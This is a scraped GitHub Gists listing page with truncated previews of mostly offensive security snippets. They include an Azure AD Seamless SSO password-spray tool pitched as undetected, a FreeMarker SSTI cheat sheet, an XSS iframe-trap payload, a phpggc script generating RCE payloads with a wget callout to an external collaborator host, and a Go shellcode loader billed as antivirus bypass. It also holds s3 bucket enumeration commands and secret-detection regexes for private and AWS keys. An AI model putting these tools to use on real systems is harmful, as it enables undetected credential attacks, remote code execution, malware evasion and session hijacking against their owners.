Skip to content

Instantly share code, notes, and snippets.

@sofianeelhor
sofianeelhor / silentspray.go
Last active February 26, 2025 16:38
This tool leverages a flaw in the Azure AD Seamless SSO service. Failed authentication attempts using the autologon endpoint aren't properly logged, allowing for (undetected?) username probing and password spray attacks. Ideal for red teaming
//https://www.secureworks.com/research/undetected-azure-active-directory-brute-force-attacks
package main
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
@n1nj4sec
n1nj4sec / FreeMarker_SSTI_tricks.md
Created December 18, 2024 20:10
FreeMarker SSTI tricks

What is this cheat sheet ?

I recently stumbled on a blind SSTI injection on a bug bounty program (no output nor stack trace, only 500 status code on invalid syntax)

The version was up to date and it was not possible to RCE because the conf was following best practices and there is no public sandbox bypass on the latest version. So was it possible to do stuff anyway ? Yes I found some nice gadgets to enumerate all accessible variables from the engine, read data blindly or perform some DoS.

This is not meant to be complete, you will find classic payloads for freemarker on other cheat sheets this is only the new stuff from my research which is not public anywhere else

get versions

@ott3rly
ott3rly / nmap-xml-to-httpx.sh
Created February 20, 2024 09:50
Convert nmap xml output suitable for httpx
#!/bin/bash
# Check if an argument was provided
if [ $# -eq 0 ]; then
NMAP_XML_OUTPUT="/dev/stdin"
else
NMAP_XML_OUTPUT="$1"
fi
# Use xmllint to parse IP addresses and ports from the Nmap XML output
@hoodoer
hoodoer / xssIframeTrap.js
Last active August 24, 2023 14:14
XSS iFrame Trap
alert('Click ok when you\'re ready to enter iframe trap');
// Example XSS iframe trap. Load from whatever
// page has the reflected/stored XSS vuln
// trap the user in an iframe of the app.
// While they surf around, they stick in your
// iFrame, and you keep their session and your XSS
// payload running.
// @hoodoer
@honoki
honoki / phpggc-generate-payloads.sh
Last active February 6, 2025 08:54
Automatically generate properly formatted RCE payloads for every gadget chain in phpggc.
#!/bin/bash
# phpggc wrapper that automatically generates payloads for RCE gadgets
function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"
# generate gadget chains
@AndrewKvalheim
AndrewKvalheim / mastodon-notes.md
Last active February 9, 2024 18:30
Notes on running a personal Mastodon instance

Personal Mastodon instance

Effective total cost: $3–5/mo

Setup

Decide on an EC2 instance type:

  1. At AWS Console → EC2 → Instance Types, filter for ≥1 GB RAM and sort by price.
  • t4g.micro is lowest.
@the-xentropy
the-xentropy / gist:05ab1c5efd7ae7651b14e0fb85c6312c
Created January 6, 2020 19:19
Use wfuzz or ffuf to enumerate s3
Ffuf (faster):
ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v
Wfuzz:
wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50
The files:
@tehryanx
tehryanx / trufflehog.json
Last active June 3, 2022 08:26
High signal patterns from trufflehog refactored to work with tomnomnom's gf
{
"flags": "-HnriE",
"patterns": [
"(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN PGP PRIVATE KEY BLOCK-----",
"AKIA[0-9A-Z]{16}",
"amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",
@JumpsecLabs
JumpsecLabs / main.go
Created June 20, 2019 10:56
JUMPSEC Antivirus Bypass
package main
import (
"encoding/hex"
"fmt"
"os"
shellcode "github.com/brimstone/go-shellcode"
)
@curi0usJack
curi0usJack / .htaccess
Last active April 9, 2025 16:33
FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.
#
# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
#
# Note this version requires Apache 2.4+
#
# Save this file into something like /etc/apache2/redirect.rules.
# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
#
# Include /etc/apache2/redirect.rules
#